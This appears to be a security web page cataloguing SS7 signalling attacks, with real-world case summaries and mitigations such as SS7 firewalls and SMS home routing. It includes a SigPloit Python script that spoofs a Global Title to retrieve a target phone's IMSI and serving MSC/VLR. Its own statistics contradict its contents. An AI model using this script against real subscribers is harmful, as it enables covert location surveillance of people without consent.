Advanced SS7 Exploitation Database

Comprehensive database of SS7 exploitation techniques with real-world attack scenarios and advanced persistent threat methods

Advanced SS7 Exploitation Overview

Advanced SS7 Exploitation Techniques Overview

Comprehensive overview of advanced SS7 exploitation techniques and attack methodologies

This expanded database contains advanced SS7 exploitation techniques used in real-world scenarios, including nation-state attacks, corporate espionage, and sophisticated surveillance operations. Understanding these advanced techniques is crucial for implementing comprehensive defenses against modern threats.

The database includes techniques discovered by leading security researchers, documented APT campaigns, and advanced persistent tracking methods used by intelligence agencies and criminal organizations.

Critical Exploits

3

High Impact

0

Total Exploits

3

Real Cases

3

Advanced Exploit Categories

Location Intelligence

Advanced location tracking and surveillance techniques

Advanced Location Tracking via SendRoutingInfoForSM
Critical
Stealth Location Tracking via AnyTimeInterrogation
Critical
Advanced Interception

Sophisticated call and SMS interception techniques

Advanced Call Interception via UpdateLocation Manipulation
Critical

Advanced Exploitation Techniques

Real-World Attack Cases

German Politicians Surveillance (2016)
60 Minutes CBS investigation revealed SS7 vulnerabilities being exploited to track German politicians
2016

Impact

High-profile privacy breach demonstrating real-world SS7 exploitation

Techniques Used

SendRoutingInfoForSM
Location tracking

Source: CBS 60 Minutes investigation

NSO Group Pegasus SS7 Integration
Pegasus spyware used SS7 vulnerabilities for initial target location before deploying mobile malware
2017-2021

Impact

Enabled sophisticated surveillance operations against journalists and activists

Techniques Used

Location tracking
Call interception
SMS interception

Source: Citizen Lab research

Ukrainian Telecom Attack (2014)
SS7 attacks used during Ukrainian conflict to intercept communications and track military personnel
2014

Impact

Military intelligence compromise and operational security breach

Techniques Used

Call interception
Location tracking
Service disruption

Source: Security research reports

Practical Code Examples

Location Tracking via SendRoutingInfoForSM
Python script using SigPloit to track a subscriber's location
High Impact
Low Complexity

Prerequisites

  • SS7 network access
  • Target's MSISDN
  • Valid Global Title for spoofing
  • SigPloit framework or equivalent

Implementation Code

location_tracking_via_sendroutinginfoforsm.py
1from sigploit.ss7.tracking import sendRoutingInfoForSM
2
3# Target MSISDN (phone number)
4target = '31612345678'
5
6# Attacker's GT (Global Title)
7attacker_gt = '31111111111'
8
9# SS7 connection parameters
10ss7_params = {
11    'sctp_port': 2905,
12    'target_ip': '10.0.0.1',
13    'source_pc': 1,
14    'destination_pc': 2,
15    'source_ssn': 8,
16    'destination_ssn': 6
17}
18
19# Execute the attack
20result = sendRoutingInfoForSM.track(
21    target_msisdn=target,
22    attacker_gt=attacker_gt,
23    **ss7_params
24)
25
26print(f"Target IMSI: {result.get('imsi')}")
27print(f"Serving MSC: {result.get('msc')}")
28print(f"Serving VLR: {result.get('vlr')}")

Mitigation

Comprehensive Mitigation Strategies

SS7 Firewall Implementation
Deploying specialized firewalls to filter malicious SS7 traffic

SS7 firewalls can be configured to block unauthorized MAP operations, filter messages based on source Global Title, and implement category-based filtering for high-risk operations. Modern SS7 firewalls use machine learning to detect anomalous patterns and can integrate with threat intelligence feeds.

SMS Home Routing
Architecture that prevents direct access to the HLR for SMS-related operations

SMS Home Routing creates a separation between the SMS service center and the HLR, preventing attackers from using SendRoutingInfoForSM to locate subscribers. This architecture requires SMS messages to be routed through the home network's SMS gateway.

Diameter Interworking Function Security
Securing the interface between SS7 and Diameter networks

Implementing security controls at the SS7-Diameter boundary to prevent attacks from legacy networks affecting modern 4G/5G infrastructure. This includes protocol translation security and message validation.

Real-time Monitoring and Analytics
Continuous monitoring of SS7 traffic for anomalies

Deploying monitoring systems that can detect unusual patterns in SS7 signaling traffic and alert operators to potential attacks in progress. Modern systems use AI/ML for behavioral analysis and can correlate events across multiple network elements.

Enhanced Authentication Mechanisms
Implementing stronger authentication for SS7 operations

Deploy mutual authentication between network elements, implement digital signatures for critical operations, and use time-based tokens to prevent replay attacks. This includes implementing IPSec tunnels for SS7 over IP networks.

Advanced Tools & Resources

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Database Statistics
Total Exploits:
3
Critical Severity:
3
Real-World Cases:
3
Code Examples:
5
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